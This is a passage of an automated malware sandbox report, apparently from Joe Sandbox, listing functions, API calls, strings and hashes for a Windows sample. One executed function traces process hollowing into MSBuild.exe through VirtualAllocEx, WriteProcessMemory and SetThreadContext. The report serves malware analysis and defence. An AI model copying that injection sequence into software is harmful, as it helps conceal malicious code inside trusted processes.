~/yI, xrefs: 0003F3E9
%7|, xrefs: 0003FD30
[, xrefs: 0003CEEC
F- , xrefs: 0003FBE2
Pky0, xrefs: 0003DD31
YvIL, xrefs: 00040105
YvIL, xrefs: 0003E18B
Pky0, xrefs: 0003EC9C
c79u, xrefs: 0003FE44
jiX, xrefs: 0003F7E8
WW!:, xrefs: 0003ECE7
Bg, xrefs: 0003EB1C
G~d=, xrefs: 0003D509
iiX, xrefs: 0003D052
%7|, xrefs: 0003DC20
WW!:, xrefs: 0003EED5

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: ConsoleFree
String ID: F- $F- $F- $F~d=$G~d=$G~d=$G~d=$Pky0$Pky0$Pky0$VW!:$WW!:$WW!:$WW!:$XvIL$YvIL$YvIL$YvIL$YvIL$YvIL$b79u$c79u$c79u$c79u$iiX$jiX$jiX$jiX$jiX$~/yI$~/yI$%7|$%7|$%7|$%7|$Bg$Bg$Bg$[$[
API String ID: 771614528-759922112
Opcode ID: 206b6d3627d69cb1fe4bea71673dc5318ef8bbe1a7e016df3f9ed3ac60febf81
Instruction ID: bc56e2e86857271495113909efd70925c373b9181005b2e9d693bec142912308
Opcode Fuzzy Hash: 206b6d3627d69cb1fe4bea71673dc5318ef8bbe1a7e016df3f9ed3ac60febf81
Instruction Fuzzy Hash: 4E334E39A155018BBE6D8B28A9E493D76DA9F58330F36063FF513EB7F0C6259C418782

Function 0006D18D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0006D0FF,0006D0EF), ref: 0006D323
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0006D336
Wow64GetThreadContext.KERNEL32(00000090,00000000), ref: 0006D354
ReadProcessMemory.KERNELBASE(000000F4,?,0006D143,00000004,00000000), ref: 0006D378
VirtualAllocEx.KERNELBASE(000000F4,?,?,00003000,00000040), ref: 0006D3A3
WriteProcessMemory.KERNELBASE(000000F4,00000000,?,?,00000000,?), ref: 0006D3FB
WriteProcessMemory.KERNELBASE(000000F4,00400000,?,?,00000000,?,00000028), ref: 0006D446
WriteProcessMemory.KERNELBASE(000000F4,?,?,00000004,00000000), ref: 0006D484
Wow64SetThreadContext.KERNEL32(00000090,03410000), ref: 0006D4C0
ResumeThread.KERNELBASE(00000090), ref: 0006D4CF

Strings

GetThreadContext, xrefs: 0006D265
ReadProcessMemory, xrefs: 0006D278
SetThreadContext, xrefs: 0006D2B1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 0006D322
Load, xrefs: 0006D1C9
TerminateProcess, xrefs: 0006D3B2
WriteProcessMemory, xrefs: 0006D29E
GetP, xrefs: 0006D20D
ress, xrefs: 0006D215
CreateProcessW, xrefs: 0006D23F
VirtualAlloc, xrefs: 0006D252
VirtualAllocEx, xrefs: 0006D28B
aryA, xrefs: 0006D1D1
ResumeThread, xrefs: 0006D2C7

Memory Dump Source

Source File: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 5cb662a4536c5bd7b40028bf1ccd44608657789f611494c52beafb11f08ad046
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 57B1077660064AAFDB60CF68CC80BDA73A6FF88714F158525EA0CAB341D774FA51CB94

Function 00060E68 Relevance: 7.7, APIs: 5, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 00060EED
__alloca_probe_16.LIBCMT ref: 00060FB6
__freea.LIBCMT ref: 0006101D

Part of subcall function 0005EB7B: RtlAllocateHeap.NTDLL(00000000,000376E8,?,?,000376E8,01E84800), ref: 0005EBAD

__freea.LIBCMT ref: 00061030
__freea.LIBCMT ref: 0006103D

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 3c5e0ab3f4310cdf6bf87e4f1149f90ec077fa3e0639841880e8218f360d4a46
Instruction ID: d6941d71732ff5e1a61846f3a3ff7cf026e004df15044281411372262a838096
Opcode Fuzzy Hash: 3c5e0ab3f4310cdf6bf87e4f1149f90ec077fa3e0639841880e8218f360d4a46
Instruction Fuzzy Hash: 4151A072600246AFEF259F60CC85EFF3AEBEF84754B290429FD14D6152EB71DD908660

Function 00059154 Relevance: 6.1, APIs: 4, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___scrt_release_startup_lock.LIBCMT ref: 000591A4
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 000591B8
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 000591DE
___scrt_uninitialize_crt.LIBCMT ref: 00059227

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: ___scrt_is_nonwritable_in_current_image$___scrt_release_startup_lock___scrt_uninitialize_crt
String ID:
API String ID: 3089971210-0
Opcode ID: 762e5a948eaa388aef33ef58b8d6510c12f98fd889a55a1cc648943832d22e0c
Instruction ID: 2f3f226854a858ced938b19039539d1179325efd1843a19118075e8dd391cc3a
Opcode Fuzzy Hash: 762e5a948eaa388aef33ef58b8d6510c12f98fd889a55a1cc648943832d22e0c
Instruction Fuzzy Hash: 88210832644712EAEB307B74AC06BAF73A69F41762F240529FC802F1D3DF255C0D8659

Function 0005D4AA Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0005D6AF: GetOEMCP.KERNEL32(00000000,?,?,788496A7,?), ref: 0005D6DA

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,0005D8BA,?,00000000,?,788496A7,?), ref: 0005D50B
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,0005D8BA,?,00000000,?,788496A7,?), ref: 0005D547

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 9cd458e73791aa722e50aadb78c1dae29258c93eae595698d802aa52ab844a3b
Instruction ID: e09ee7c05d91fc455b6428f5e011443926ca40e1ee9e9acb8d0c6b2d88dc9463
Opcode Fuzzy Hash: 9cd458e73791aa722e50aadb78c1dae29258c93eae595698d802aa52ab844a3b
Instruction Fuzzy Hash: 9C514370A007458EDB30DF75C890AEBBBF5EF85306F18416FD88A8B252E674994ACB51

Function 0005D292 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,0005D181,0006CB38,0000000C), ref: 0005D2DE
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,0005D181,0006CB38,0000000C), ref: 0005D2F0

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: f2e25f047980476dbdc76b74e2bfe40df065a530679b3da3ee03dcd87ff3e0e0
Instruction ID: 424e2e41a94a2315dde37457ce1c51826e39983ff593dda7f6a942f209c4acb8
Opcode Fuzzy Hash: f2e25f047980476dbdc76b74e2bfe40df065a530679b3da3ee03dcd87ff3e0e0
Instruction Fuzzy Hash: 3B1196715047424AD7708F3E8C9862B7AD5A766332F380B1BD8B6C65F1C374DA8ED642

Function 0003A090 Relevance: 3.1, APIs: 2, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 0003A126
ExitProcess.KERNEL32 ref: 0003A14C

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: edc5a78b49a0734e8c3e222c90b02d3c69890fa17730ae5cc2bf0b73b8d556aa
Instruction ID: 09ea144ca55d89447a90ef97d43413d667ec5cf750b8b8cb1182496a2f2c2a95
Opcode Fuzzy Hash: edc5a78b49a0734e8c3e222c90b02d3c69890fa17730ae5cc2bf0b73b8d556aa
Instruction Fuzzy Hash: 6D112335F141186BE7984B788960B7E37EB8BCF720F25806AE886D7380DE758C068781

Function 0005C7AC Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00060F58,?,?,-00000008,?,00000000,00000000,00000000,00000000,00000000), ref: 0005C7E0
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,-00000008,-00000008,?,00060F58,?,?,-00000008,?,00000000), ref: 0005C7FE

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 1553a769a9979474979f229f07bdb98fabad5cc94049766b4e0845988c7129ee
Instruction ID: 1c947543bf903f61cdbb294c25c4a59e3d0072ceca7db5d3163f567496753450
Opcode Fuzzy Hash: 1553a769a9979474979f229f07bdb98fabad5cc94049766b4e0845988c7129ee
Instruction Fuzzy Hash: D7F0763200025ABBEF126F90DC09EEE3F66FF483A5F058124FE1865121CB36C875AB90

Function 0005DC2B Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,0005BC6C,00037824), ref: 0005DC41
GetLastError.KERNEL32(?,?,0005BC6C,00037824), ref: 0005DC4C

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 5ff7a53900de0745897613facc7e4408ccd3a4e6d8b4da2304adc01e71d443e5
Instruction ID: eb69965d56a8fa1979bc559918827a0b112487dc3c26ea13eb8ca2554f48c892
Opcode Fuzzy Hash: 5ff7a53900de0745897613facc7e4408ccd3a4e6d8b4da2304adc01e71d443e5
Instruction Fuzzy Hash: C3E086311006956BEB112FA4FC4CBDA3B99AB40352F144016FD4887071C7B88A44C794

Function 0005DA39 Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(00000083,?,00000005,0005D8BA,?), ref: 0005DA6B

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: f44adc6046c5b854edd3fe4c721f1dc3c1757778d433a7f329ef3820cb6c9676
Instruction ID: 5c672cc1821427d67370e5b4fb645b7800e1b8768adedf0696f37c74e5cbf623
Opcode Fuzzy Hash: f44adc6046c5b854edd3fe4c721f1dc3c1757778d433a7f329ef3820cb6c9676
Instruction Fuzzy Hash: 88512BB15081589FEB318F28CD84BEBBBAEEB15305F1401EBE999C7142D3759D49CB60

Function 0003B0C4 Relevance: 1.6, APIs: 1, Instructions: 55
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 0003B0DC

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 051d5e8bb2141754ab6539e06a3dc0ba869549196f1eeaf95961201bde550949
Instruction ID: e43b362bce2421f1b8bb8ca70e62d8313c04286c264cb6e354fd166aeff931fc
Opcode Fuzzy Hash: 051d5e8bb2141754ab6539e06a3dc0ba869549196f1eeaf95961201bde550949
Instruction Fuzzy Hash: 3C11E9357083029FDE6E4A2458A553E729B7FD7310F39445EE583876A0DA6288459703

Function 0005EB7B Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,000376E8,?,?,000376E8,01E84800), ref: 0005EBAD

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fbea379d89c36ad8c1ff2a7961458fa3b9175c44a8ffc8aa429fe427a0d715fb
Instruction ID: e7b88a2cb1ab8e096153aa1da2d8a6bce5ff88b6b0ba4dba96613a5593f5d27c
Opcode Fuzzy Hash: fbea379d89c36ad8c1ff2a7961458fa3b9175c44a8ffc8aa429fe427a0d715fb
Instruction Fuzzy Hash: AEE0E5311012A657FB782765DC04F9B3B8D9F027A3F100160EC86961D2CB64DE0881E6

Non-executed Functions

Function 00046310 Relevance: 77.7, Strings: 61, Instructions: 1445COMMON

Download Yara Rule

Strings

i^', xrefs: 00047314
i^', xrefs: 000470F2
zL%, xrefs: 00047340
zL%, xrefs: 00046F4C
zL%, xrefs: 00047B86
zL%, xrefs: 00047692
zL%, xrefs: 00046618
zL%, xrefs: 000469E2
zL%, xrefs: 000477E9
zL%, xrefs: 00047A09
zL%, xrefs: 00046B7E
V?D, xrefs: 00047185
zL%, xrefs: 00047133
LH%Y, xrefs: 000472A1
zL%, xrefs: 00046370
zL%, xrefs: 00047B31
zL%, xrefs: 00046AF3
zL%, xrefs: 000478CE
LH%Y, xrefs: 0004767D
LH%Y, xrefs: 00046FE3
zL%, xrefs: 00047242
V?D, xrefs: 00047386
zL%, xrefs: 000465D1
h^', xrefs: 0004701B
zL%, xrefs: 00046B93
zL%, xrefs: 000473AC
V?D, xrefs: 0004717A
zL%, xrefs: 000477FE
zL%, xrefs: 000475C0
{L%, xrefs: 00046CCC
zL%, xrefs: 0004634E
V?D, xrefs: 00047143
KH%Y, xrefs: 00046FCD
zL%, xrefs: 0004775C
KJn?, xrefs: 0004797D
zL%, xrefs: 00047AE0
zL%, xrefs: 0004793C
zL%, xrefs: 00046870
zL%, xrefs: 00047376
i^', xrefs: 000470E4
zL%, xrefs: 00046F98
{L%, xrefs: 00046BEC
zL%, xrefs: 00047927
KJn?, xrefs: 00047164
LH%Y, xrefs: 000472AF
zL%, xrefs: 000464AF
{L%, xrefs: 0004725D
zL%, xrefs: 000468A6
zL%, xrefs: 00046ADE
zL%, xrefs: 0004697E
zL%, xrefs: 00047004
zL%, xrefs: 00046AC9
KJn?, xrefs: 0004796F
zL%, xrefs: 000469F7
KJn?, xrefs: 00046D18
V?D, xrefs: 00047ADB
zL%, xrefs: 000468DC
{L%, xrefs: 00046CDA
zL%, xrefs: 00046BA8
zL%, xrefs: 00046E7F
i^', xrefs: 00047604

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: KH%Y$KJn?$KJn?$KJn?$KJn?$LH%Y$LH%Y$LH%Y$LH%Y$h^'$i^'$i^'$i^'$i^'$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%${L%${L%${L%${L%$V?D$V?D$V?D$V?D$V?D
API String ID: 0-3543999248
Opcode ID: 67e7e87c2ff0a5c39e9009301010e2ed2c8db538526a32b326f269c6b7c68503
Instruction ID: e646e6e94e8a413320fa684d7c5fe8e3bf7eed6dc204c1016e4d1aea9cdf2d84
Opcode Fuzzy Hash: 67e7e87c2ff0a5c39e9009301010e2ed2c8db538526a32b326f269c6b7c68503
Instruction Fuzzy Hash: DBB217B67056408F5A68CB2895C462D72D39FCA3717398A36D41ACF3F4EB76CD42824B

Function 00033E60 Relevance: 62.6, Strings: 49, Instructions: 1348COMMON

Download Yara Rule

Strings

VR, xrefs: 00034EA0
VR, xrefs: 00034BBD
n[QH, xrefs: 0003421A
VR, xrefs: 0003444C
VR, xrefs: 0003503B
VR, xrefs: 00034E47
VR, xrefs: 0003491C
VR, xrefs: 0003508F
VR, xrefs: 000352F1
VR, xrefs: 000350F7
VR, xrefs: 00034C2C
VR, xrefs: 000354FD
VR, xrefs: 00034E1B
VR, xrefs: 00033FE1
VR, xrefs: 0003436A
VR, xrefs: 00034A74
VR, xrefs: 000340C0
VR, xrefs: 00034AB5
VR, xrefs: 000353DA
VR, xrefs: 000344AA
VR, xrefs: 00034D97
VR, xrefs: 00034D81
VR, xrefs: 000343B0
VR, xrefs: 00033EAF
VR, xrefs: 00034A62
VR, xrefs: 000348A8
VR, xrefs: 00034E31
VR, xrefs: 00034F85
VR, xrefs: 00033F00
VR, xrefs: 000353B4
VR, xrefs: 00034F1A
VR, xrefs: 0003507D
VR, xrefs: 00034FCC
VR, xrefs: 0003418F
VR, xrefs: 00035423
VR, xrefs: 0003545F
VR, xrefs: 00034656
VR, xrefs: 00035513
o[QH, xrefs: 000350C4
VR, xrefs: 000348B9
VR, xrefs: 000347E5
VR, xrefs: 00035248
VR, xrefs: 00034690
VR, xrefs: 00034324
VR, xrefs: 00034C42
VR, xrefs: 000354AD
VR, xrefs: 00034DAD
VR, xrefs: 00034F62
o[QH, xrefs: 00034771

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: n[QH$o[QH$o[QH$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR$VR
API String ID: 0-3929425050
Opcode ID: 0f428fb0a674043b0464dae043704de8822d7cdc8b83a51fbcacae8de72fc9c3
Instruction ID: be980a301dee0af2cab63710e88a122551e83e0232e708c58e948b3fab9db69f
Opcode Fuzzy Hash: 0f428fb0a674043b0464dae043704de8822d7cdc8b83a51fbcacae8de72fc9c3
Instruction Fuzzy Hash: 2892F4357056008F9A6DDA2894E853DB7EAAFA5320F70462FE8238F7F1D779D9408742

Function 00031000 Relevance: 47.5, Strings: 36, Instructions: 2542COMMON

Download Yara Rule

Strings

=B':, xrefs: 00031B42
:^g*, xrefs: 00031EB9
=B':, xrefs: 00032404
kG+, xrefs: 00031EC5
k:0Z, xrefs: 00031C13
nxf, xrefs: 00032CC9
%{H1, xrefs: 0003197E
%{H1, xrefs: 00032487
mxf, xrefs: 00031738
hP&o, xrefs: 0003328F
.:g, xrefs: 000313F9
?1z", xrefs: 000338B9
k:0Z, xrefs: 00032E50
kG+, xrefs: 000323E7
?1z", xrefs: 000338A6
